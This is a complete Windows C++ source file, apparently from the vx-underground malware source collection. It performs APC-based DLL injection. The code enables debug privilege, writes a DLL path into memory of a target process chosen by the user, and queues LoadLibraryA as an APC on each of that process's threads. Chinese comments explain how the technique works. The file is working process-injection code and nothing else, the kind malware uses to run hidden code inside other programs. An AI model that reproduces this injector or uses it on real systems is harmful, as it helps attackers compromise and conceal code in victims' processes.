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https://github.com/vxunderground/MalwareSourceCode.git
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updates and moves
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/************************************************************************
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*
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* 1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。
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* 2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
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* 3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针
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* 如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
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* 4) 线程有个可提醒状态,如果为FALSE,则不会调用用户APC队列
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*************************************************************************/
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#include "stdafx.h"
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#include "UserAPC.h"
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#include <windows.h>
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#include <TlHelp32.h>
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#include <iostream>
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#include <string>
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using namespace std;
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#define DEF_BUF_SIZE 1024
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BOOL AdjustPrivilege();
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BOOL InjectModuleToProcessById(DWORD dwProcessId);
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// 用于存储注入模块DLL的路径全名
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char szDllPath[DEF_BUF_SIZE] = {0} ;
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int _tmain(int argc, _TCHAR* argv[])
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{
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// 取得当前工作目录路径
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GetCurrentDirectoryA(DEF_BUF_SIZE, szDllPath);
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// 生成注入模块DLL的路径全名
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#ifdef _WIN64
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strcat ( szDllPath, "\\Dllx64.dll" ) ;
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#else
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strcat ( szDllPath, "\\Dllx86.dll" ) ;
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#endif
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DWORD dwProcessId = 0 ;
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// 接收用户输入的目标进程ID
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while( cout << "请输入目标进程ID:" && cin >> dwProcessId && dwProcessId > 0 )
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{
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BOOL bRet = InjectModuleToProcessById(dwProcessId);
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cout << (bRet ? "注入成功":"注入失败") << endl ;
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}
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return 0;
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}
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// 使用APC机制向指定ID的进程注入模块
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BOOL InjectModuleToProcessById(DWORD dwProcessId)
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{
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SIZE_T dwRet = 0;
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BOOL bStatus = FALSE ;
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LPVOID lpData = NULL ;
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UINT uLen = strlen(szDllPath) + 1;
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AdjustPrivilege(); //
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// 打开目标进程
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HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
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if(hProcess)
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{
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// 分配空间
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lpData = VirtualAllocEx ( hProcess, NULL, uLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
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if ( lpData )
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{
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// 写入需要注入的模块路径全名
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bStatus = WriteProcessMemory(hProcess, lpData, szDllPath, uLen, (SIZE_T*)(&dwRet));
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}
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CloseHandle(hProcess);
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}
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if (bStatus == FALSE)
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return FALSE ;
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// 创建线程快照
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THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
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HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
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if(hThreadSnap == INVALID_HANDLE_VALUE)
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return FALSE ;
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bStatus = FALSE ;
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// 枚举所有线程
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if(Thread32First(hThreadSnap, &te32))
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{
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do{
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// 判断是否目标进程中的线程
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if(te32.th32OwnerProcessID == dwProcessId)
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{
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// 打开线程
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HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
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if ( hThread )
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{
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// 向指定线程添加APC
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DWORD dwRet1 = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
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if ( dwRet1 > 0 )
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{
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bStatus = TRUE ;
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}
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CloseHandle(hThread);
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}
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}
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}while(Thread32Next ( hThreadSnap, &te32));
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}
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CloseHandle(hThreadSnap);
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return bStatus;
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}
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BOOL AdjustPrivilege()
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{
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HANDLE hToken;
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TOKEN_PRIVILEGES pTP;
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LUID uID;
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if (!OpenProcessToken(GetCurrentProcess(),
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TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
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{
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printf("OpenProcessToken is Error\n");
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return false;
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}
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if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID)) //调式
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{
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printf("LookupPrivilegeValue is Error\n");
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return false;
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}
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pTP.PrivilegeCount = 1;
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pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
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pTP.Privileges[0].Luid = uID;
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//在这里我们进行调整权限
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if (!AdjustTokenPrivileges(hToken,false,&pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL))
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{
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printf("AdjuestTokenPrivileges is Error\n");
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return false;
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}
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return true;
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}
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